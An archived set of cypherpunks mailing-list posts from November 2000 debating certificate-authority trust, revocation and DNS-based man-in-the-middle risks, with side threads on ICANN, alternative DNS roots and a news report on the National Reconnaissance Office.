Message-ID: At 11:40 AM -0800 11/20/00, Ray Dillinger wrote: >On Mon, 20 Nov 2000 Lynn.Wheeler at firstdata.com wrote: > >>as pure asside ... any SSL server certificate signed by any CA >> in my browswer's CA list is acceptable. >> >>my broswer makes no distinction on which CA signed what ... >> and/or even what they signed. If I get a certificate signed >> by any CA in my browswers list that says foo.bar ... > > >I think that one of the major problems with PKI is the "binary-ness" >of it. Everything gets shoveled into "acceptable" or "not acceptable" >at the end of the process, but I don't think it's appropriate in >trust decisions to have stuff shoveled into "acceptable" and "not >acceptable" piles at the very beginning. > >We can't give a numeric score to the degree of trust we place in a >CA. There's no protocol for exchanging information about breaches >in trust regarding particular certs, so we can't have a policy for >auto-updating our trust model. These problems with binary trust in hierarchical models ("trust this cert because the highest node said to trust it") have been dealt with many, many times. Cf. my own articles on probabalistic networks, belief networks, and Dempster-Shafer measures of belief. I don't even see how thoughtful people can continue to believe this is still a debatable issue. Those pushing X.509 and similar hierarchical systems have their own statist axes to grind...and they like the commission they get off of each of the King's certs. --Tim May -- (This .sig file has not been significantly changed since 1992. As the election debacle unfolds, it is time to prepare a new one. Stay tuned.) From cgripp at axcelerant.com Mon Nov 20 13:06:09 2000 From: cgripp at axcelerant.com (cgripp at axcelerant.com) Date: Mon, 20 Nov 2000 13:06:09 -0800 Subject: CDR: RE: Public Key Infrastructure: An Artifact... In-Reply-To: Message-ID: So what is the acceptable threshold of errors? 1 in a 1000000? What if that 1 is the invalid certificate that allows your bank account to be compromised. CA's should either be 100% or 0% trustworthy. I do agree that there needs to be a protocol to allow CA's to compare databases of certificates for mismatches etc that might reveal an attempt at publishing a fraudulent certificate. Gripp -----Original Message----- From: owner-cryptography at c2.net [mailto:owner-cryptography at c2.net]On Behalf Of Ray Dillinger Sent: Monday, November 20, 2000 11:41 AM Cc: cryptography at c2.net; cypherpunks at cyberpass.net Subject: Re: Public Key Infrastructure: An Artifact... On Mon, 20 Nov 2000 Lynn.Wheeler at firstdata.com wrote: >as pure asside ... any SSL server certificate signed by any CA > in my browswer's CA list is acceptable. > >my broswer makes no distinction on which CA signed what ... > and/or even what they signed. If I get a certificate signed > by any CA in my browswers list that says foo.bar ... I think that one of the major problems with PKI is the "binary-ness" of it. Everything gets shoveled into "acceptable" or "not acceptable" at the end of the process, but I don't think it's appropriate in trust decisions to have stuff shoveled into "acceptable" and "not acceptable" piles at the very beginning. We can't give a numeric score to the degree of trust we place in a CA. There's no protocol for exchanging information about breaches in trust regarding particular certs, so we can't have a policy for auto-updating our trust model. If I get a spoofed cert from a CA, and notice it, I ought to be able to downgrade the trust in that CA - without necessarily removing ALL trust in that CA. Furthermore, my system ought to pass along the news about the spoofed cert, along with the signature that proves it came from that CA, so that other systems can do the same. "Gossip" is really the only way a robust trust model can work. systems have to at least be ABLE to notify and inform one another when there's a breach of trust involving a CA, and different people have to be able to set the threshold for trust at different points. Bear From tcmay at got.net Mon Nov 20 13:08:45 2000 From: tcmay at got.net (Tim May) Date: Mon, 20 Nov 2000 13:08:45 -0800 Subject: CDR: Re: Public Key Infrastructure: An Artifact... In-Reply-To: References: <8525699C.0015DE9B.00@lnsunr02.fl.firstdata.com> <3A17C2C7.CDEEE753@algroup.co.uk> Message-ID: At 1:25 PM -0500 11/20/00, R. A. Hettinga wrote: >At 12:10 PM -0500 on 11/20/00, Arnold G. Reinhold wrote: > > >> If CAs >> included a financial guarantee of whatever it is they are asserting >> when they issue a certificate, then all these problems would go away. > >Right. > >Like Ellison (and Metzger :-)) have said for years now, the only >"assertions" worth making are financial ones. "Identity", biometric/meat, >or otherwise, is only a proxy for asset protection anyway. > >I claim you can do this on the net without the current mystification of >identity that exists in the financial system, using bearer asset >cryptography, among other things, but that's another discussion altogether. And I have been asserting for years that _belief_ is all that matters. Or, more carefully put, that all issues of lawyers, backing by gold, financial instruments, escrow, bonds, etc. are issues of "How is belief affected?" One can think of many examples of where issues of identity, home address, name of lawyers, credit ratings, amount of a bond, etc. are really issues of belief in some outcome. One _believes_ that someone with a verifiable home and business address is more likely to be collected from (in a transaction or legal judgement) than someone with only a pseudonym. And one _believes_ that someone one has met is, for all intents and purposes, who he says he is (or, rather, that a key he represents to be his wills serve as adequate I.D. for future transactions.) A financial bond, or guarantee, is only one aspect of belief. Perhaps an important one, but only a subset. Belief is all. "All cryptography is about belief." --Tim May -- (This .sig file has not been significantly changed since 1992. As the election debacle unfolds, it is time to prepare a new one. Stay tuned.) From sunder at sunder.net Mon Nov 20 10:09:23 2000 From: sunder at sunder.net (sunder) Date: Mon, 20 Nov 2000 13:09:23 -0500 Subject: CDR: Beware the dust! It has eyes and ears. Message-ID: <3A1968D3.A45A7A5F@sunder.net> http://www.sfgate.com/cgi-bin/article.cgi?file=/chronicle/archive/2000/11/20/MN62513.DTL Pister is leading a team of researchers at the University of California at Berkeley that is developing tiny, electronic devices called "smart dust," designed to capture mountains of information about their surroundings while literally floating on air. -- ----------------------Kaos-Keraunos-Kybernetos--------------------------- + ^ + :Surveillance cameras|Passwords are like underwear. You don't /|\ \|/ :aren't security. A |share them, you don't hang them on your/\|/\ <--*-->:camera won't stop a |monitor, or under your keyboard, you \/|\/ /|\ :masked killer, but |don't email them, or put them on a web \|/ + v + :will violate privacy|site, and you must change them very often. --------_sunder_ at _sunder_._net_------- http://www.sunder.net ------------ From rah at shipwright.com Mon Nov 20 10:25:19 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Mon, 20 Nov 2000 13:25:19 -0500 Subject: Public Key Infrastructure: An Artifact... In-Reply-To: References: <8525699C.0015DE9B.00@lnsunr02.fl.firstdata.com> <3A17C2C7.CDEEE753@algroup.co.uk> Message-ID: At 12:10 PM -0500 on 11/20/00, Arnold G. Reinhold wrote: > If CAs > included a financial guarantee of whatever it is they are asserting > when they issue a certificate, then all these problems would go away. Right. Like Ellison (and Metzger :-)) have said for years now, the only "assertions" worth making are financial ones. "Identity", biometric/meat, or otherwise, is only a proxy for asset protection anyway. I claim you can do this on the net without the current mystification of identity that exists in the financial system, using bearer asset cryptography, among other things, but that's another discussion altogether. Cheers, RAH -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From rah at shipwright.com Mon Nov 20 10:27:04 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Mon, 20 Nov 2000 13:27:04 -0500 Subject: CDR: RE: The cause of uncertainty in the election outcome. In-Reply-To: <3A1966C1.6512D3FA@lsil.com> References: <3A1966C1.6512D3FA@lsil.com> Message-ID: At 10:00 AM -0800 on 11/20/00, mmotyka at lsil.com wrote: > The uncertainties are far larger than > the measured difference. Plus or minus the noise caused by vote fraud in either direction... > Send the damn thing to Congress already. "A republic, Madam, if you can keep it..." Cheers, RAH -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From baptista at pccf.net Mon Nov 20 10:35:23 2000 From: baptista at pccf.net (Joe Baptista) Date: Mon, 20 Nov 2000 13:35:23 -0500 (EST) Subject: CDR: Re: re ICANN Should Approve More Top Level Domains In-Reply-To: <005a01c05327$57bce100$31ad580c@att.net.icbtollfree.com> Message-ID: I agree with Judith on this. Seeing the entire internet - instead of the ICANN restricted internet is as simple as point click and reboot. Further data is available at www.youcann.org and instructions are located here http://www.youcann.org/instructions.html and include a link to a downloadable program that fixes your dns to see the whole internet. point, click, reboot - and astalavista ICANN. regards joe On Mon, 20 Nov 2000, Judith Oppenheimer wrote: > re ICANN Should Approve More Top Level Domains, > http://www.cluebot.com/article.pl?sid=00/11/20/1714249 > > Great article, but Declan and I have a slightly different take on > his mention of alternative servers, as he states it "... requires > tech-savvy users to reconfigure their computers..." > > This is a seemingly minor point, yet it is so significant, > perpetuating this myth that only the "tech-savvy" can access the > entire Internet. Its counterproductive, and simply not true. > > I cannot figure out any advanced features on my microwave, my > organizer, my cell phone - forget about the VCR ... yet it took > me maybe 3 minutes, tops, to upgrade my computer in order to > access all of the net. > > Hardly a "tech-savvy" process, it was more like point, click and > reboot, resulting in immediate access to .com/.net/.org PLUS > .web/.biz etc. > > I've written Declan and the WSJ editors suggesting that we > dispel, finally, this myth of the hard-to-do, beyond-reach > Internet. Telling readers its just point, click, and reboot, > would go a long way toward poking a canon-ball sized hole in the > ICANN facade. > > Judith > > Judith Oppenheimer, 212 684-7210, 1 800 The Expert > Publisher, http://www.ICBTollFreeNews.com > President, http://www.1800TheExpert.com > FREE 800/Domain Classifieds, http://ICBclassifieds.com > Domain Name & 800 News, Intelligence, Analysis > > > > -----Original Message----- > > From: Owner-Domain-Policy > > [mailto:owner-domain-policy at LISTS.NETSOL.COM]On Behalf Of Joe > Baptista > > Sent: Monday, November 20, 2000 12:24 PM > > To: DOMAIN-POLICY at LISTS.NETSOL.COM > > Subject: Re: CDR: RE: What got censored today... (fwd) > > > > > > ---------- Forwarded message ---------- > > Date: Mon, 20 Nov 2000 13:43:14 -0500 > > From: Declan McCullagh > > To: Joe Baptista > > Cc: "Carskadden, Rush" , > > "'cypherpunks at einstein.ssz.com'" > > > Subject: Re: CDR: RE: What got censored today... (fwd) > > > > I have an op-ed in today's Wall Street Journal that mentions > > alternative > > DNS schemes: > > > > http://www.cluebot.com/article.pl?sid=00/11/20/1714249 (html) > > http://www.politechbot.com/p-01507.html (text) > > > > No response yet from ICANN, Esther Dyson, Vint Cerf, etc. > > > > -Declan > > > > > > > -- Joe Baptista http://www.dot.god/ dot.GOD Hostmaster +1 (805) 753-8697 From mix at mix2.hyperreal.pl Mon Nov 20 10:40:09 2000 From: mix at mix2.hyperreal.pl (Anonymous) Date: Mon, 20 Nov 2000 13:40:09 -0500 Subject: CDR: Going secret again Message-ID: <9d3bd89156bb0aa8a80630fbe4a9d63a@mix2.hyperreal.pl> U.S. Spy Office Dying, Group Says Reuters 1:30 p.m. Nov. 14, 2000 PST WASHINGTON -- A U.S. commission on Tuesday recommended creating an office cloaked in secrecy to pursue innovative technology for spying from space, saying the existing agency was not sufficiently clandestine for the task. The National Commission for the Review of the National Reconnaissance Office said the NRO, the agency that designs, builds and operates U.S. spy satellites, had lost some of its luster since the end of the Cold War due to inadequate funding and declining attention from the president, secretary of defense and CIA director. The commission, established by Congress in legislation that went into effect in December 1999, warned that if current trends continued the NRO might lose its edge in providing the nation its "eyes and ears" for monitoring the proliferation of weapons of mass destruction and tracking international "terrorists." "Without bold and sustained leadership, the United States could find itself deaf and blind and increasingly vulnerable to any of the potentially devastating threats it may face in the next ten to twenty years," the report said. Rep. Porter Goss, a Florida Republican, and Sen. Bob Kerrey, a Nebraska Democrat, served as co-chairmen of the 11-member bipartisan commission. The panel did not recommend abolishing the NRO, but said the agency had "become a publicly acknowledged organization that openly announces many of its new program initiatives," which in turn hindered its ability to tackle intelligence problems. The commission recommended creating a new Office of Space Reconnaissance to work on super-secret projects to gain technological advantage in space-related spying. "Evolution is continuously moving forward in technology, and I think that those things should be done very discreetly and with boldness and risk-taking. And we need (is) to create a mechanism that can allow those things to happen," Goss, chairman of the U.S. House of Representatives Intelligence Committee, told Reuters. "There are so many new things on the horizon that have such promise and they need to be pursued, but they need to be pursued in a way that we dont give the advantage to others of knowing about them, or sharing some of the things weve learned," Goss added. The National Reconnaissance Office, which marked its 40th anniversary this year, has evolved away from its original mission "to go out and do things that had never been dreamed of before, and we need that," Goss said. It also used to be given the highest level attention from the president and top U.S. officials, the congressman added. "Its been taken for granted and its lost some of its punch," Goss said of the NRO. "We need to get on to the next generation," he added. Budget constraints have delayed modernization while the proliferation of commercial imaging technologies has provided U.S adversaries with "unprecedented insight within our national borders, as well as into our overseas activities," the commissions report said. "Equally problematic, widespread knowledge of the NROs existence and public speculation on how NRO satellites are used has aided terrorists and other potential adversaries in developing techniques of denial and deception to thwart U.S. intelligence efforts," the report added. In addition, other technologies such as fiber-optic communications "render certain NRO capabilities obsolete," the report said. The report warned that the agencys resources were being stretched "and the result is a prescription for a potentially significant intelligence failure." The NRO is overseen by the Defense Department and the CIA director. An NRO spokesman said the commissions recommendations were "valuable" and the agency would look at them. The CIA declined comment. From declan at well.com Mon Nov 20 10:43:14 2000 From: declan at well.com (Declan McCullagh) Date: Mon, 20 Nov 2000 13:43:14 -0500 Subject: CDR: RE: What got censored today... (fwd) In-Reply-To: ; from baptista@pccf.net on Fri, Nov 17, 2000 at 12:30:50PM -0500 References: <10D1CDA5E7B0D41190F800D0B74585641C7391@cobra.netsolve.net> Message-ID: <20001120134314.B29896@cluebot.com> I have an op-ed in today's Wall Street Journal that mentions alternative DNS schemes: http://www.cluebot.com/article.pl?sid=00/11/20/1714249 (html) http://www.politechbot.com/p-01507.html (text) No response yet from ICANN, Esther Dyson, Vint Cerf, etc. -Declan On Fri, Nov 17, 2000 at 12:30:50PM -0500, Joe Baptista wrote: > On Fri, 17 Nov 2000, Carskadden, Rush wrote: > > > I can't read it very well. What does it say? > > It's a little sign that says "USE ORSC DNS" or something like that - see > www.yourcann.org for more data. > > Joe > > > > > ok, > > Rush > > > > > > -----Original Message----- > > From: Jim Choate [mailto:ravage at einstein.ssz.com] > > Sent: Thursday, November 16, 2000 9:43 PM > > To: cypherpunks at einstein.ssz.com > > Cc: sci-tech at einstein.ssz.com > > Subject: What got censored today... (fwd) > > > > > > > > > > > > ____________________________________________________________________ > > > > He is able who thinks he is able. > > > > Buddha > > > > The Armadillo Group ,::////;::-. James Choate > > Austin, Tx /:'///// ``::>/|/ ravage at ssz.com > > www.ssz.com .', |||| `/( e\ 512-451-7087 > > -====~~mm-'`-```-mm --'- > > -------------------------------------------------------------------- > > > > ---------- Forwarded message ---------- > > Date: Thu, 16 Nov 2000 19:27:13 -0800 > > From: Simon Higgs > > Reply-To: orange at dns.list > > To: orange at dns.list > > Subject: What got censored today... > > > > > > > > http://cyber.law.harvard.edu/scripts/rammaker.asp?s=cyber&dir=icann&file=ica > > nn-111600&start=0-09-04 > > > > Starts at 2:18:20 > > > > Lasts about five seconds before Mr Anal-Retentive-Bald-Video-Guy censors it. > > > > > > -- > Joe Baptista > > http://www.dot.god/ > dot.GOD Hostmaster > +1 (805) 753-8697 > From declan at well.com Mon Nov 20 10:48:45 2000 From: declan at well.com (Declan McCullagh) Date: Mon, 20 Nov 2000 13:48:45 -0500 Subject: CDR: Re: Conspiracy Theory #187389 (RE: Carnivore All-Consuming) In-Reply-To: <090825D1E60BD311B8390090276D5C4965DD49@galileo.luminousnetworks.com>; from ernest@luminousnetworks.com on Sun, Nov 19, 2000 at 08:56:31AM -0800 References: <090825D1E60BD311B8390090276D5C4965DD49@galileo.luminousnetworks.com> Message-ID: <20001120134845.C29896@cluebot.com> On Sun, Nov 19, 2000 at 08:56:31AM -0800, Ernest Hua wrote: > What is the likelihood that the public just ignores this > given the ruckus over the election? Very high. From declan at well.com Mon Nov 20 10:49:51 2000 From: declan at well.com (Declan McCullagh) Date: Mon, 20 Nov 2000 13:49:51 -0500 Subject: CDR: Re: Is this Reno/wiretap stat true? In-Reply-To: <4.3.1.2.20001119115500.026d8788@shell11.ba.best.com>; from jamesd@echeque.com on Sun, Nov 19, 2000 at 12:00:29PM -0800 References: <200011191829.NAA25528@www1.aa.psiweb.com> <4.3.1.2.20001119115500.026d8788@shell11.ba.best.com> Message-ID: <20001120134951.D29896@cluebot.com> On Sun, Nov 19, 2000 at 12:00:29PM -0800, James A. Donald wrote: > -- > > At 01:29 PM 11/19/2000 -0500, George at orwellian.org wrote: > > Found in Usenet: > > > > # I don't know if Reno is a traitor, but consider this: > > # Between 1992 and 1997, there were approximately 2,500 > > # national security wiretaps requested by the FBI. Only one > > # of these 2,500 requests was turned down: Wen Ho Lee's! And > > # this turndown took place while Wen Ho Lee was still > > # downloading nuclear secrets from Lost Alamos. > > > > True/False? > > > Any new, important and surprising fact reported on usenet without source or > explanation is almost certainly a lie. In general you'd be right, but this might be an exception. Check out the annual wiretap reports on epic.org. (Admin office of US Courts publishes them.) -Declan From bram at gawth.com Mon Nov 20 13:59:39 2000 From: bram at gawth.com (Bram Cohen) Date: Mon, 20 Nov 2000 13:59:39 -0800 (PST) Subject: CDR: Re: Public Key Infrastructure: An Artifact... In-Reply-To: Message-ID: On Mon, 20 Nov 2000, Arnold G. Reinhold wrote: > Perry's last sentence gets to the heart of the matter. If CAs > included a financial guarantee of whatever it is they are asserting > when they issue a certificate, then all these problems would go away. They aren't going to. -Bram Cohen From bram at gawth.com Mon Nov 20 14:01:22 2000 From: bram at gawth.com (Bram Cohen) Date: Mon, 20 Nov 2000 14:01:22 -0800 (PST) Subject: CDR: Re: Public Key Infrastructure: An Artifact... In-Reply-To: <200011200208.SAA13909@blacklodge.c2.net> Message-ID: On Sun, 19 Nov 2000 obfuscation at beta.freedom.net wrote: > > When the user goes to www.amazon.com, they get a plaintext http redirect > > to amazon.hackeddomain.com, which does check. > > Still confused... > > The original connection to www.amazon.com is an SSL connection, right? > We are following an https: URL? (Otherwise, SSL would not even come > into the picture.) No, the attacker interferes with the very first connect to www.amazon.com, probably at the DNS level, and that's almost always done plaintext. -Bram Cohen From bram at gawth.com Mon Nov 20 14:11:58 2000 From: bram at gawth.com (Bram Cohen) Date: Mon, 20 Nov 2000 14:11:58 -0800 (PST) Subject: CDR: Re: Public Key Infrastructure: An Artifact... In-Reply-To: <8525699D.005CB821.00@lnsunr02.fl.firstdata.com> Message-ID: On Mon, 20 Nov 2000 Lynn.Wheeler at firstdata.com wrote: > as pure asside ... any SSL server certificate signed by any CA in my browswer's > CA list is acceptable. > > for list of current valid signing CA's in a typical browswer see: > > http://www.garlic.com/~lynn/aepay4.htm#comcert14 > http://www.garlic.com/~lynn/aepay4.htm#comcert16 This is mistifying to me - there are apparently enough in there that it *should* be possible for someone to purchase one or a few and start offering an alternate source of certs. Or has Verisign gone and purchased all of them already? What would happen if one of those private keys were found and made public? I suspect there would be a lot of lawyers and suing and claims of trade secrets made, with significant intimidation of anyone who dared make a cert for themselves rather than paying for one the way the good lord intended. It would, of course, result in no practical loss of security whatsoever, since man in the middle attacks never happen. > given that the supposed justification for SSL certificates is weaknesses in the > domain name infrastructure integrity ... and they beef up the domain name > infrastructure integrity (in part so that SSL certificate issuing operations ... > like any from the above list ... can rely on domain names not having been > hijacked) ... then it eliminates that as a business case & justification for SSL > certificates. Yes, getting the public key of the domain as part of the DNS lookup is better engineering all around. It would also be nicer for services like Akamai which spew out different IPs and for the same domain name, and are currently forced to use the exact same private key in every one of those machines. > There are a lot of short-comings of the existing SSL certificate infrastructure. > To a large extent, most PKI definitions are purely hypothetical (there is the > line someplace, in theory there is no difference between theory and practice, > but in practice there is) ... trivial example is that most PKI definitions > include things like CRLs for dealing with revoked or compromised > certificates/private keys ... and yet the SSL infrastructure doesn't have any of > that in it (even tho client checking of server SSL domain certificates accounts > for 99.999999% of all such PKI operations that occur in the world today). Revocation just plain doesn't work. The only practical solution is online verification. -Bram Cohen From baptista at pccf.net Mon Nov 20 11:16:58 2000 From: baptista at pccf.net (!Dr. Joe Baptista) Date: Mon, 20 Nov 2000 14:16:58 -0500 (EST) Subject: CDR: Re: [IFWP] Re: re ICANN Should Approve More Top Level Domains In-Reply-To: <3A19876F.E658C78A@iciiu.org> Message-ID: On Mon, 20 Nov 2000, Michael Sondow wrote: > Joe Baptista wrote: > > > > point, click, reboot - and astalavista ICANN. > > Lo siento, Joe, pero "hasta la vista" no basta. Hace falta que ICANN > desaparece. Estoy en el acuerdo con usted. Pienso que estamos viendo el fin da fiesta de ICANN. regards joe -- Joe Baptista http://www.dot.god/ dot.GOD Hostmaster +1 (805) 753-8697 From ravage at EINSTEIN.ssz.com Mon Nov 20 12:18:42 2000 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Mon, 20 Nov 2000 14:18:42 -0600 (CST) Subject: CDR: Re: Public Key Infrastructure: An Artifact... In-Reply-To: Message-ID: On Mon, 20 Nov 2000, R. A. Hettinga wrote: > At 12:10 PM -0500 on 11/20/00, Arnold G. Reinhold wrote: > > > If CAs > > included a financial guarantee of whatever it is they are asserting > > when they issue a certificate, then all these problems would go away. > > Right. Bonding would not fix this problem. It only moves the question of identity and responsibility to the bonding agency. You've still solved nothing. > Like Ellison (and Metzger :-)) have said for years now, the only > "assertions" worth making are financial ones. "Identity", biometric/meat, > or otherwise, is only a proxy for asset protection anyway. Bullshit. Identity is a asset as much as a digital balance in my banks computer. This is a false distinction. > I claim you can do this on the net without the current mystification of > identity that exists in the financial system, using bearer asset > cryptography, among other things, but that's another discussion altogether. But how do you certify the bearer's identity without a CA or reverting to something along the lines of the PGP web-of-trust? Who writes and certifies the bearer algorithms? ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From ravage at EINSTEIN.ssz.com Mon Nov 20 12:20:36 2000 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Mon, 20 Nov 2000 14:20:36 -0600 (CST) Subject: CDR: Re: re ICANN Should Approve More Top Level Domains (fwd) Message-ID: ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- ---------- Forwarded message ---------- Date: Mon, 20 Nov 2000 13:35:23 -0500 (EST) From: Joe Baptista Reply-To: cypherpunks at ssz.com To: Declan McCullagh Cc: cypherpunks at einstein.ssz.com, DOMAIN-POLICY at LISTS.NETSOL.COM, list at ifwp.org, ga at dnso.org, NCDNHC Subject: CDR: Re: re ICANN Should Approve More Top Level Domains I agree with Judith on this. Seeing the entire internet - instead of the ICANN restricted internet is as simple as point click and reboot. Further data is available at www.youcann.org and instructions are located here http://www.youcann.org/instructions.html and include a link to a downloadable program that fixes your dns to see the whole internet. point, click, reboot - and astalavista ICANN. regards joe On Mon, 20 Nov 2000, Judith Oppenheimer wrote: > re ICANN Should Approve More Top Level Domains, > http://www.cluebot.com/article.pl?sid=00/11/20/1714249 > > Great article, but Declan and I have a slightly different take on > his mention of alternative servers, as he states it "... requires > tech-savvy users to reconfigure their computers..." > > This is a seemingly minor point, yet it is so significant, > perpetuating this myth that only the "tech-savvy" can access the > entire Internet. Its counterproductive, and simply not true. > > I cannot figure out any advanced features on my microwave, my > organizer, my cell phone - forget about the VCR ... yet it took > me maybe 3 minutes, tops, to upgrade my computer in order to > access all of the net. > > Hardly a "tech-savvy" process, it was more like point, click and > reboot, resulting in immediate access to .com/.net/.org PLUS > .web/.biz etc. > > I've written Declan and the WSJ editors suggesting that we > dispel, finally, this myth of the hard-to-do, beyond-reach > Internet. Telling readers its just point, click, and reboot, > would go a long way toward poking a canon-ball sized hole in the > ICANN facade. > > Judith > > Judith Oppenheimer, 212 684-7210, 1 800 The Expert > Publisher, http://www.ICBTollFreeNews.com > President, http://www.1800TheExpert.com > FREE 800/Domain Classifieds, http://ICBclassifieds.com > Domain Name & 800 News, Intelligence, Analysis > > > > -----Original Message----- > > From: Owner-Domain-Policy > > [mailto:owner-domain-policy at LISTS.NETSOL.COM]On Behalf Of Joe > Baptista > > Sent: Monday, November 20, 2000 12:24 PM > > To: DOMAIN-POLICY at LISTS.NETSOL.COM > > Subject: Re: CDR: RE: What got censored today... (fwd) > > > > > > ---------- Forwarded message ---------- > > Date: Mon, 20 Nov 2000 13:43:14 -0500 > > From: Declan McCullagh > > To: Joe Baptista > > Cc: "Carskadden, Rush" , > > "'cypherpunks at einstein.ssz.com'" > > > Subject: Re: CDR: RE: What got censored today... (fwd) > > > > I have an op-ed in today's Wall Street Journal that mentions > > alternative > > DNS schemes: > > > > http://www.cluebot.com/article.pl?sid=00/11/20/1714249 (html) > > http://www.politechbot.com/p-01507.html (text) > > > > No response yet from ICANN, Esther Dyson, Vint Cerf, etc. > > > > -Declan > > > > > > > -- Joe Baptista http://www.dot.god/ dot.GOD Hostmaster +1 (805) 753-8697 From bear at sonic.net Mon Nov 20 14:32:47 2000 From: bear at sonic.net (Ray Dillinger) Date: Mon, 20 Nov 2000 14:32:47 -0800 (PST) Subject: CDR: RE: Public Key Infrastructure: An Artifact... In-Reply-To: Message-ID: On Mon, 20 Nov 2000 cgripp at axcelerant.com wrote: >So what is the acceptable threshold of errors? 1 in a 1000000? What if >that 1 is the invalid certificate that allows your bank account to be >compromised. CA's should either be 100% or 0% trustworthy. I do agree that >there needs to be a protocol to allow CA's to compare databases of >certificates for mismatches etc that might reveal an attempt at publishing a >fraudulent certificate. > >Gripp For a CA, I'd say 1 in 10^7 requests, tops, would be an acceptable rate of getting spoofed. But if it were for a transaction I was really paranoid about, I might require an error rate of 1 in 10^10 or less. Modulo standard statistical methods regarding sample sizes, of course -- a new CA that's never been spoofed but has only served 10^8 requests, should be regarded as a hell of a lot less reliable than a cert that's gotten spoofed 1000 times out of 10^11 requests, just because of sample sizes and number of significant figures involved. But my point is we don't even have a protocol for swapping and updating information about CA's reliability rates, so there's no way to even *assess* the reliability of our current CA's. We just assume that they are trustworthy, and sometimes we are wrong. They don't actually check much before they issue a cert. Also, they don't really have a way of revoking their certs, so once they realize they've been spoofed they can't really correct it very easily -- the spoofing site can go on presenting its spoofed cert for a full year in most cases before it expires and if the client doesn't contact the CA's keyserver directly the client will never know. I agree with you that CA's should be 100 percent trustworthy. Pigs should be able to fly, too. Bear From dennis.glatting at software-munitions.com Mon Nov 20 14:44:37 2000 From: dennis.glatting at software-munitions.com (Dennis Glatting) Date: Mon, 20 Nov 2000 14:44:37 -0800 Subject: CDR: Re: Public Key Infrastructure: An Artifact... References: <200011200208.SAA13909@blacklodge.c2.net> Message-ID: <3A19A955.A129DAC@software-munitions.com> obfuscation at beta.freedom.net wrote: > > > On Sat, 18 Nov 2000 obfuscation at beta.freedom.net wrote: > > > > > Bram Cohen writes: > > > > Unless that problem is fixed, man in the middle is hardly made more > > > > difficult - for example, Mallory could break into some random machine on > > > > the net and steal it's public key, then hijack local DNS and when someone > > > > goes to amazon.com redirect them to amazon.hackeddomain.com, and then > > > > proxy to amazon.com - now even SSL says the connection is safe. > > > > > > Are you sure that works? I would think the SSL client would do a > > > connection to the URL the user typed, www.amazon.com, and check the > > > name in the cert to see if it (approximately) matches. > > > > When the user goes to www.amazon.com, they get a plaintext http redirect > > to amazon.hackeddomain.com, which does check. > > Still confused... > > The original connection to www.amazon.com is an SSL connection, right? > We are following an https: URL? (Otherwise, SSL would not even come > into the picture.) > > If you do a DNS hack to redirect www.amazon.com to amazon.hackeddomain.com, > the latter site will not be able to complete SSL handshaking without > triggering a browser warning, will it? > [snip] > > So it looks to me like the SSL protocol will not allow the redirection > attack to work without triggering a user alert, unless there is some > subtlety here... > Definitely depends on the implementation, and perhaps browser settings. From ravage at EINSTEIN.ssz.com Mon Nov 20 12:57:05 2000 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Mon, 20 Nov 2000 14:57:05 -0600 Subject: CDR: NNA Online: Notary Certificates - All States Message-ID: <3A199021.BA66DAAD@ssz.com> To at least the answer of requiring witnesses to 'signature by mark', appears to require two actually. http://www.nationalnotary.org/1-800-USNOTARY/certif_ALL.html The specific law is dependent upon your state. At least in Texas for things like voting, buying cars or houses, legal documents such as adoption papers, etc. this is pretty standard stuff. This has something to do with 'The Hague Convention' and is apparently international in scope. Remember, IANAL. -- ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- -------------- next part -------------- A non-text attachment was scrubbed... Name: certif_ALL.html Type: text/html Size: 18932 bytes Desc: not available URL: From ravage at EINSTEIN.ssz.com Mon Nov 20 12:59:01 2000 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Mon, 20 Nov 2000 14:59:01 -0600 (CST) Subject: CDR: Re: what is The OpenNIC project (fwd) Message-ID: ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- ---------- Forwarded message ---------- Date: Mon, 20 Nov 2000 12:31:17 -0800 From: Simon Higgs Reply-To: orange at dns.list To: orange at dns.list Subject: Re: what is The OpenNIC project At 02:56 PM 11/20/00 -0500, Richard J. Sexton wrote: I just told Declan McCullagh said we'd love to play with OpenNIC. I told him there was a problem with conflicting TLDs. >It's thaty Robin thing that wanted to cooperate but nly if we'd get along >with >kashpureff and boling. We declined and they said sayonara. > >At 01:50 PM 11/20/00 -0500, you wrote: > > > >The OpenNIC project is mentioned in the article - what is it? Anyone > >know? > > > >Joe > > > >---------- Forwarded message ---------- > >Date: Mon, 20 Nov 2000 12:24:04 -0500 (EST) > >From: Joe Baptista > >Reply-To: list at ifwp.org > >To: DOMAIN-POLICY at LISTS.NETSOL.COM > >Cc: list at ifwp.org, NCDNHC , ga at dnso.org > >Subject: [IFWP] Re: CDR: RE: What got censored today... (fwd) > > > > > >---------- Forwarded message ---------- > >Date: Mon, 20 Nov 2000 13:43:14 -0500 > >From: Declan McCullagh > >To: Joe Baptista > >Cc: "Carskadden, Rush" , > > "'cypherpunks at einstein.ssz.com'" 